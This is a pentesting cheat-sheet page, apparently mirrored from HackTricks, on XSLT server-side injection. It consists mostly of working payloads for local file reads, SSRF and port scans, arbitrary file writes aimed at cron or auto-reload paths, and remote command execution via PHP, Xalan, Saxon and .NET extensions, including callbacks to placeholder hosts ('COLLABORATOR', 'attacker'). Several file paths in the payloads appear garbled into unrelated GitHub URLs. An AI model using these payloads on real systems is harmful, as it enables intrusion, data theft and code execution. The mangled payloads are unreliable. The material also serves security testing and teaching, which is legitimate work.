daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

xslt-server-side-injection-extensible-stylesheet-language-transformations.md (21867B)


      1 ---
      2 title: "XSLT Server-Side Injection (Extensible Stylesheet Language Transformations)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # XSLT Server-Side Injection (Extensible Stylesheet Language Transformations)
     14 
     15 ## Basic Information
     16 
     17 XSLT is a technology employed for transforming XML documents into different formats. It comes in three versions: 1, 2, and 3, with version 1 being the most commonly utilized. The transformation process can be executed either on the server or within the browser.<sup>[[2]](#references)</sup>
     18 
     19 The frameworks that are most frequently used include:<sup>[[3]](#references)</sup>
     20 
     21 - **Libxslt** from Gnome,
     22 - **Xalan** from Apache,
     23 - **Saxon** from Saxonica.
     24 
     25 For the exploitation of vulnerabilities associated with XSLT, it is necessary for xsl tags to be stored on the server side, followed by accessing that content. An illustration of such a vulnerability is documented in the following source: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).<sup>[[10]](#references)</sup>
     26 
     27 ## Example - Tutorial
     28 
     29 ```bash
     30 sudo apt-get install default-jdk
     31 sudo apt-get install libsaxonb-java libsaxon-java
     32 ```
     33 
     34 ```xml
     35 <?xml version="1.0" encoding="UTF-8"?>
     36 <catalog>
     37     <cd>
     38         <title>CD Title</title>
     39         <artist>The artist</artist>
     40         <company>Da Company</company>
     41         <price>10000</price>
     42         <year>1760</year>
     43     </cd>
     44 </catalog>
     45 ```
     46 
     47 ```xml
     48 <?xml version="1.0" encoding="UTF-8"?>
     49 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     50 <xsl:template match="/">
     51     <html>
     52     <body>
     53     <h2>The Super title</h2>
     54     <table border="1">
     55         <tr bgcolor="#9acd32">
     56             <th>Title</th>
     57             <th>artist</th>
     58         </tr>
     59         <tr>
     60         <td><xsl:value-of select="catalog/cd/title"/></td>
     61         <td><xsl:value-of select="catalog/cd/artist"/></td>
     62         </tr>
     63     </table>
     64     </body>
     65     </html>
     66 </xsl:template>
     67 </xsl:stylesheet>
     68 ```
     69 
     70 Execute:
     71 
     72 ```xml
     73 saxonb-xslt -xsl:xsl.xsl xml.xml
     74 
     75 Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
     76   Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
     77 <html>
     78    <body>
     79       <h2>The Super title</h2>
     80       <table border="1">
     81          <tr bgcolor="#9acd32">
     82             <th>Title</th>
     83             <th>artist</th>
     84          </tr>
     85          <tr>
     86             <td>CD Title</td>
     87             <td>The artist</td>
     88          </tr>
     89       </table>
     90    </body>
     91 </html>
     92 ```
     93 
     94 ### Fingerprint
     95 
     96 ```xml
     97 <?xml version="1.0" encoding="ISO-8859-1"?>
     98 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
     99 <xsl:template match="/">
    100  Version: <xsl:value-of select="system-property('xsl:version')" /><br />
    101  Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
    102  Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
    103  <xsl:if test="system-property('xsl:product-name')">
    104  Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
    105  </xsl:if>
    106  <xsl:if test="system-property('xsl:product-version')">
    107  Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
    108  </xsl:if>
    109  <xsl:if test="system-property('xsl:is-schema-aware')">
    110  Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
    111  </xsl:if>
    112  <xsl:if test="system-property('xsl:supports-serialization')">
    113  Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
    114 /><br />
    115  </xsl:if>
    116  <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
    117  Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
    118 /><br />
    119  </xsl:if>
    120 </xsl:template>
    121 </xsl:stylesheet>
    122 ```
    123 
    124 And execute
    125 
    126 ```xml
    127 $saxonb-xslt -xsl:detection.xsl xml.xml
    128 
    129 Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
    130   Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
    131 <h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
    132 ```
    133 
    134 ### Post-fingerprint attack map
    135 
    136 Once you have the vendor string, switch quickly to the processor-specific primitives instead of retrying generic XXE payloads:
    137 
    138 - **libxslt / lxml / GNOME**: test `document()`, `exsl:document`, and in PHP environments `php:function()`.
    139 - **Saxon / Saxonica**: test `unparsed-text()`, `xsl:result-document`, and Java/C# extension functions if external functions are enabled.
    140 - **Xalan / Apache**: test Java extension namespaces such as `http://xml.apache.org/xalan/java` and `xalan://...`; blind RCE or file-write payloads are often easier than capturing stdout.
    141 - **Microsoft / .NET**: test `document()` plus `msxsl:script`; on modern .NET (Core / 5+) embedded script is unsupported, so a failed script payload does **not** rule out `document()`-based SSRF/LFI.
    142 
    143 ### Read Local File
    144 
    145 ```xml
    146 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    147 <xsl:template match="/">
    148 <xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
    149 </xsl:template>
    150 </xsl:stylesheet>
    151 ```
    152 
    153 ```xml
    154 $ saxonb-xslt -xsl:read.xsl xml.xml
    155 
    156 Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
    157   Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
    158 <?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
    159 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    160 bin:x:2:2:bin:/bin:/usr/sbin/nologin
    161 sys:x:3:3:sys:/dev:/usr/sbin/nologin
    162 sync:x:4:65534:sync:/bin:/bin/sync
    163 games:x:5:60:games:/usr/games:/usr/sbin/nologin
    164 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    165 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    166 ```
    167 
    168 ### SSRF
    169 
    170 ```xml
    171 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    172 <xsl:include href="http://127.0.0.1:8000/xslt"/>
    173 <xsl:template match="/">
    174 </xsl:template>
    175 </xsl:stylesheet>
    176 ```
    177 
    178 ### Versions
    179 
    180 There might be more or less functions depending on the XSLT version used:
    181 
    182 - [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
    183 - [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
    184 - [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)
    185 
    186 ## Fingerprint
    187 
    188 Upload this and take information
    189 
    190 ```xml
    191 <?xml version="1.0" encoding="ISO-8859-1"?>
    192 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    193 <xsl:template match="/">
    194  Version: <xsl:value-of select="system-property('xsl:version')" /><br />
    195  Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
    196  Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
    197  <xsl:if test="system-property('xsl:product-name')">
    198  Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
    199  </xsl:if>
    200  <xsl:if test="system-property('xsl:product-version')">
    201  Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
    202  </xsl:if>
    203  <xsl:if test="system-property('xsl:is-schema-aware')">
    204  Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
    205  </xsl:if>
    206  <xsl:if test="system-property('xsl:supports-serialization')">
    207  Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
    208 /><br />
    209  </xsl:if>
    210  <xsl:if test="system-property('xsl:supports-backwards-compatibility')">
    211  Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
    212 /><br />
    213  </xsl:if>
    214 </xsl:template>
    215 </xsl:stylesheet>
    216 ```
    217 
    218 ## SSRF
    219 
    220 ```xml
    221 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
    222 </esi:include>
    223 ```
    224 
    225 ## Javascript Injection
    226 
    227 ```xml
    228 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    229 <xsl:template match="/">
    230 <script>confirm("We're good");</script>
    231 </xsl:template>
    232 </xsl:stylesheet>
    233 ```
    234 
    235 ## Directory listing (PHP)
    236 
    237 ### **Opendir + readdir**
    238 
    239 ```xml
    240 <?xml version="1.0" encoding="utf-8"?>
    241 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    242 <xsl:template match="/">
    243 <xsl:value-of select="php:function('opendir','/path/to/dir')"/>
    244 <xsl:value-of select="php:function('readdir')"/> -
    245 <xsl:value-of select="php:function('readdir')"/> -
    246 <xsl:value-of select="php:function('readdir')"/> -
    247 <xsl:value-of select="php:function('readdir')"/> -
    248 <xsl:value-of select="php:function('readdir')"/> -
    249 <xsl:value-of select="php:function('readdir')"/> -
    250 <xsl:value-of select="php:function('readdir')"/> -
    251 <xsl:value-of select="php:function('readdir')"/> -
    252 <xsl:value-of select="php:function('readdir')"/> -
    253 </xsl:template></xsl:stylesheet>
    254 ```
    255 
    256 ### **Assert (var_dump + scandir + false)**
    257 
    258 ```xml
    259 <?xml version="1.0" encoding="UTF-8"?>
    260 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    261     <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
    262         <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
    263         <br />
    264     </body>
    265 </html>
    266 ```
    267 
    268 ## Read files
    269 
    270 ### **Internal - PHP**
    271 
    272 ```xml
    273 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
    274 <xsl:template match="/">
    275 <xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
    276 </xsl:template>
    277 </xsl:stylesheet>
    278 ```
    279 
    280 ### **Internal - XXE**
    281 
    282 ```xml
    283 <?xml version="1.0" encoding="utf-8"?>
    284 <!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
    285 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    286 <xsl:template match="/">
    287 &ext_file;
    288 </xsl:template>
    289 </xsl:stylesheet>
    290 ```
    291 
    292 ### **Through HTTP**
    293 
    294 ```xml
    295 <?xml version="1.0" encoding="utf-8"?>
    296 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    297 <xsl:template match="/">
    298 <xsl:value-of select="document('/etc/passwd')"/>
    299 </xsl:template>
    300 </xsl:stylesheet>
    301 ```
    302 
    303 ```xml
    304 <!DOCTYPE xsl:stylesheet [
    305 <!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
    306 <xsl:template match="/">
    307 &passwd;
    308 </xsl:template>
    309 ```
    310 
    311 ### **`document()` usually expects XML**
    312 
    313 On **libxslt**, `document()` is useful for SSRF and for reading **other XML documents**, but trying to read arbitrary local text files such as `/etc/passwd` will often fail because the referenced resource is parsed as XML.
    314 
    315 - `document('/path/to/file.xml')` may work if the target file is valid XML.
    316 - `document('/etc/passwd')` commonly errors because the file is not XML.
    317 
    318 This is useful when triaging a target: a failed `document('/etc/passwd')` does **not** necessarily mean the XSLT processor is hardened.<sup>[[4]](#references)</sup>
    319 
    320 ### Parser asymmetry: XML hardened, XSLT still dangerous
    321 
    322 Some applications harden the **input XML** parser but not the **stylesheet** parser. With lxml, options such as `resolve_entities=False`, `no_network=True`, `dtd_validation=False`, and `load_dtd=False` can block classic XXE in the uploaded XML while the XSLT still gets parsed with default settings or extension features enabled.
    323 
    324 That pattern usually means:
    325 
    326 - XXE in the XML document may fail.
    327 - XSLT-specific features such as `system-property()`, `document()`, extension functions, and EXSLT elements may still be reachable.
    328 
    329 So if XXE payloads fail, fingerprint the processor first and then switch to processor-specific XSLT payloads instead of stopping at the XML parser result.
    330 
    331 With **lxml** specifically, remember that `XSLTAccessControl` defaults to allowing file and network access, and it only mediates transformation-time I/O. `xsl:import` / `xsl:include` are parsed before that access-control hook, so a target can still fetch attacker-controlled stylesheets even when later `document()` calls are restricted.<sup>[[7]](#references)</sup>
    332 
    333 ### **Internal (PHP-function)**
    334 
    335 ```xml
    336 <?xml version="1.0" encoding="utf-8"?>
    337 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    338 <xsl:template match="/">
    339 <xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
    340 </xsl:template>
    341 </xsl:stylesheet>
    342 ```
    343 
    344 ```xml
    345 <?xml version="1.0" encoding="UTF-8"?>
    346 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    347     <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
    348         <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
    349         <br />
    350     </body>
    351 </html>
    352 ```
    353 
    354 ### Port scan
    355 
    356 ```xml
    357 <?xml version="1.0" encoding="utf-8"?>
    358 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    359 <xsl:template match="/">
    360 <xsl:value-of select="document('http://example.com:22')"/>
    361 </xsl:template>
    362 </xsl:stylesheet>
    363 ```
    364 
    365 ## Write to a file
    366 
    367 ### XSLT 2.0
    368 
    369 ```xml
    370 <?xml version="1.0" encoding="utf-8"?>
    371 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
    372 <xsl:template match="/">
    373 <xsl:result-document href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/local_file.txt">
    374 <xsl:text>Write Local File</xsl:text>
    375 </xsl:result-document>
    376 </xsl:template>
    377 </xsl:stylesheet>
    378 ```
    379 
    380 ### **Xalan-J extension**
    381 
    382 ```xml
    383 <xsl:template match="/">
    384 <redirect:open file="local_file.txt"/>
    385 <redirect:write file="local_file.txt"/> Write Local File</redirect:write>
    386 <redirect:close file="loxal_file.txt"/>
    387 </xsl:template>
    388 ```
    389 
    390 ### **libxslt / EXSLT `exsl:document`**
    391 
    392 If the target fingerprints as **libxslt** (`system-property('xsl:vendor')`) and the application lets you upload or store attacker-controlled XSLT, test **EXSLT secondary output**. `exsl:document` can write a new document to an arbitrary path writable by the XSLT process.<sup>[[4]](#references)[[6]](#references)</sup>
    393 
    394 ```xml
    395 <?xml version="1.0" encoding="UTF-8"?>
    396 <xsl:stylesheet
    397   version="1.0"
    398   xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    399   xmlns:exsl="http://exslt.org/common"
    400   extension-element-prefixes="exsl">
    401   <xsl:template match="/">
    402     <exsl:document href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src//var/www/html/test.txt" method="text">
    403 0xdf was here!
    404     </exsl:document>
    405   </xsl:template>
    406 </xsl:stylesheet>
    407 ```
    408 
    409 Practical workflow:
    410 
    411 - First write a marker into a **web-served path** to confirm the primitive.
    412 - Then write into an **execution sink** already present on the host, such as a cron-polled script directory, a parser auto-reload path, or another scheduled task input.
    413 
    414 If you are generating shell payloads through XML, remember that this is **XML encoding**, not URL encoding. For example, use `&amp;` to generate a literal `&` inside the written file. Writing `%26` will usually persist `%26` literally and break shell redirections.<sup>[[4]](#references)</sup>
    415 
    416 Other ways to write files in the PDF
    417 
    418 ## Include external XSL
    419 
    420 ```xml
    421 <xsl:include href="http://external.example/external.xsl"/>
    422 ```
    423 
    424 ```xml
    425 <?xml version="1.0" ?>
    426 <?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
    427 ```
    428 
    429 ## Execute code
    430 
    431 ### **php:function**
    432 
    433 ```xml
    434 <?xml version="1.0" encoding="utf-8"?>
    435 <xsl:stylesheet version="1.0"
    436 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    437 xmlns:php="http://php.net/xsl" >
    438 <xsl:template match="/">
    439 <xsl:value-of select="php:function('shell_exec','sleep 10')" />
    440 </xsl:template>
    441 </xsl:stylesheet>
    442 ```
    443 
    444 ```xml
    445 <?xml version="1.0" encoding="UTF-8"?>
    446 <html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
    447 <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
    448 <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
    449 <br />
    450 </body>
    451 </html>
    452 ```
    453 
    454 Execute code using other frameworks in the PDF<sup>[[1]](#references)</sup>
    455 
    456 ### **Java / .NET specific execution primitives**
    457 
    458 #### **Xalan-Java (blind command execution)**
    459 
    460 ```xml
    461 <?xml version="1.0"?>
    462 <xsl:stylesheet version="1.0"
    463 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    464 xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
    465 <xsl:template match="/">
    466 <xsl:variable name="r" select="rt:getRuntime()"/>
    467 <xsl:value-of select="rt:exec($r,'bash -c curl http://COLLABORATOR/')"/>
    468 </xsl:template>
    469 </xsl:stylesheet>
    470 ```
    471 
    472 If you only get a boolean or a Java object reference back, treat it as **blind RCE** and pivot to DNS/HTTP callbacks, file writes, or time delays instead of trying to capture stdout directly.
    473 
    474 #### **Saxon (reflexive Java extension functions)**
    475 
    476 ```xml
    477 <?xml version="1.0"?>
    478 <xsl:stylesheet version="2.0"
    479 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    480 xmlns:rt="java:java.lang.Runtime">
    481 <xsl:template match="/">
    482 <xsl:variable name="r" select="rt:getRuntime()"/>
    483 <xsl:value-of select="rt:exec($r,'bash -c id > /tmp/saxon_pwned')"/>
    484 </xsl:template>
    485 </xsl:stylesheet>
    486 ```
    487 
    488 This needs **SaxonJ-PE/EE** reflexive extension functions to be available. If `ALLOW_EXTERNAL_FUNCTIONS` is disabled you may still keep `doc()` / `unparsed-text()` primitives, so a failed Java call does not mean the stylesheet is fully sandboxed.<sup>[[8]](#references)</sup>
    489 
    490 #### **.NET `msxsl:script`**
    491 
    492 ```xml
    493 <?xml version="1.0"?>
    494 <xsl:stylesheet version="1.0"
    495 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
    496 xmlns:msxsl="urn:schemas-microsoft-com:xslt"
    497 xmlns:user="urn:evil">
    498 <msxsl:script language="C#" implements-prefix="user"><![CDATA[
    499 public string run(){System.Diagnostics.Process.Start("cmd.exe","/c ping attacker"); return "ok";}
    500 ]]></msxsl:script>
    501 <xsl:template match="/"><xsl:value-of select="user:run()"/></xsl:template>
    502 </xsl:stylesheet>
    503 ```
    504 
    505 This only works when the application loads the stylesheet with script enabled (`XsltSettings.EnableScript=true` / `TrustedXslt`). On **.NET Framework** this is still a valid execution primitive; on **.NET Core / .NET 5+** `msxsl:script` is unsupported, so test `document()` separately.<sup>[[9]](#references)</sup>
    506 
    507 ### **More Languages**
    508 
    509 This page contains RCE examples for other languages and runtimes: [**Fortify XSLT injection examples**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**.
    510 
    511 ## **Access PHP static functions from classes**
    512 
    513 The following function will call the static method `stringToUrl` of the class XSL:
    514 
    515 ```xml
    516 <!--- More complex test to call php class function-->
    517 <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
    518 version="1.0">
    519 <xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
    520 <xsl:template match="root">
    521 <html>
    522 <!-- We use the php suffix to call the static class function stringToUrl() -->
    523 <xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
    524 <!-- Output: 'une_superstring ao modifier' -->
    525 </html>
    526 </xsl:template>
    527 </xsl:stylesheet>
    528 ```
    529 
    530 (Example from [http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using_php_functions_in_xsl-7.sls))
    531 
    532 ### GeoNetwork formatter upload chain
    533 
    534 [Geonetwork](/hacktricks/network-services-pentesting/pentesting-web/geonetwork)
    535 
    536 ## More Payloads
    537 
    538 - Check [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection) for additional processor-specific discovery and exploitation payloads.<sup>[[5]](#references)</sup>
    539 - Check [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
    540 
    541 ## **Brute-Force Detection List**
    542 
    543 
    544 [Xslt.Txt](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/https%3A/github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt)
    545 
    546 ## References
    547 
    548 - [1] [XSLT_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT_SSRF.pdf)
    549 - [2] [Abusing XSLT for practical attacks - Arnaboldi - IOActive](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)
    550 - [3] [Abusing XSLT for practical attacks - Arnaboldi - Blackhat 2015](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)
    551 - [4] [0xdf - HTB Conversor](https://0xdf.gitlab.io/2026/03/21/htb-conversor.html)
    552 - [5] [PayloadsAllTheThings - XSLT Injection](https://swisskyrepo.github.io/PayloadsAllTheThings/XSLT%20Injection/)
    553 - [6] [EXSLT - exsl:document](https://exslt.github.io/exsl/elements/document/index.html)
    554 - [7] [lxml API - XMLParser](https://lxml.de/api/lxml.etree.XMLParser-class.html)
    555 - [8] [Saxon - Writing reflexive extension functions in Java](https://www.saxonica.com/html/documentation11/extensibility/extension-functions-J/reflexive-functions/index.html)
    556 - [9] [.NET - Script Blocks Using msxsl:script](https://learn.microsoft.com/en-us/dotnet/standard/data/xml/script-blocks-using-msxsl-script)
    557 - [10] [gosecure.net - Esi Injection Part 2 Abusing Specific Implementations](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations)